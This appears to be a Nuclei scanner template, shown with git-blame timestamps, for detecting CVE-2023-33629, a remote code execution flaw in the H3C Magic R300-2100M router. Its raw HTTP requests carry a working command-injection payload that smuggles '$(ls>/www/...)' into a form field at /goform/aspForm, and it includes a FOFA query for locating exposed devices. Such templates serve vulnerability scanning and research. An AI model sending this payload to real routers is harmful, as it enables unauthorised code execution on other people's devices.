2023-10-31 08:50:53 +00:00
|
|
|
id: CVE-2023-33629
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: H3C Magic R300-2100M - Remote Code Execution
|
|
|
|
author: DhiyaneshDK
|
2023-11-03 10:59:12 +00:00
|
|
|
severity: high
|
2023-10-31 08:50:53 +00:00
|
|
|
description: |
|
|
|
|
H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.
|
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-33629
|
|
|
|
- https://hackmd.io/@0dayResearch/r1UjggZfh
|
2023-11-08 06:56:05 +00:00
|
|
|
- https://hackmd.io/%400dayResearch/r1UjggZfh
|
2023-11-03 10:59:12 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 7.2
|
|
|
|
cve-id: CVE-2023-33629
|
|
|
|
cwe-id: CWE-787
|
2023-11-05 22:23:39 +00:00
|
|
|
epss-score: 0.00394
|
2023-11-07 14:54:31 +00:00
|
|
|
epss-percentile: 0.70562
|
2023-11-03 10:59:12 +00:00
|
|
|
cpe: cpe:2.3:o:h3c:magic_r300-2100m_firmware:r300-2100mv100r004:*:*:*:*:*:*:*
|
2023-10-31 08:50:53 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-11-03 10:59:12 +00:00
|
|
|
max-request: 2
|
|
|
|
vendor: h3c
|
|
|
|
product: magic_r300-2100m_firmware
|
2023-11-03 10:31:16 +00:00
|
|
|
fofa-query: app="H3C-Ent-Router"
|
2023-10-31 08:50:53 +00:00
|
|
|
tags: cve,cve2023,router,rce,h3c
|
|
|
|
variables:
|
2023-11-03 10:31:16 +00:00
|
|
|
filename: "{{to_lower(rand_text_alpha(7))}}"
|
2023-10-31 08:50:53 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /goform/aspForm HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
CMD=DelL2tpLNSList&GO=vpn_l2tp_session.asp¶m=1; $(ls>/www/{{filename}});
|
|
|
|
- |
|
|
|
|
GET /{{filename}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- status_code_1 == 302
|
|
|
|
- contains(body_1, 'do_cmd.asp')
|
|
|
|
- status_code_2 == 200
|
2023-11-03 10:31:16 +00:00
|
|
|
- contains_all(body_2, 'www', 'www_multi')
|
2023-10-31 08:50:53 +00:00
|
|
|
condition: and
|
2023-11-08 08:43:23 +00:00
|
|
|
# digest: 4a0a00473045022100cc684a047e2298df7c54f34323419ad225b66f3fb35fd2541e7d5ccd3ec3f9600220506f71c3604cbf4f64d63aeb98838e8f28fe101fd962f7db048e27efa68639b5:922c64590222798bb761d5b6d8e72950
|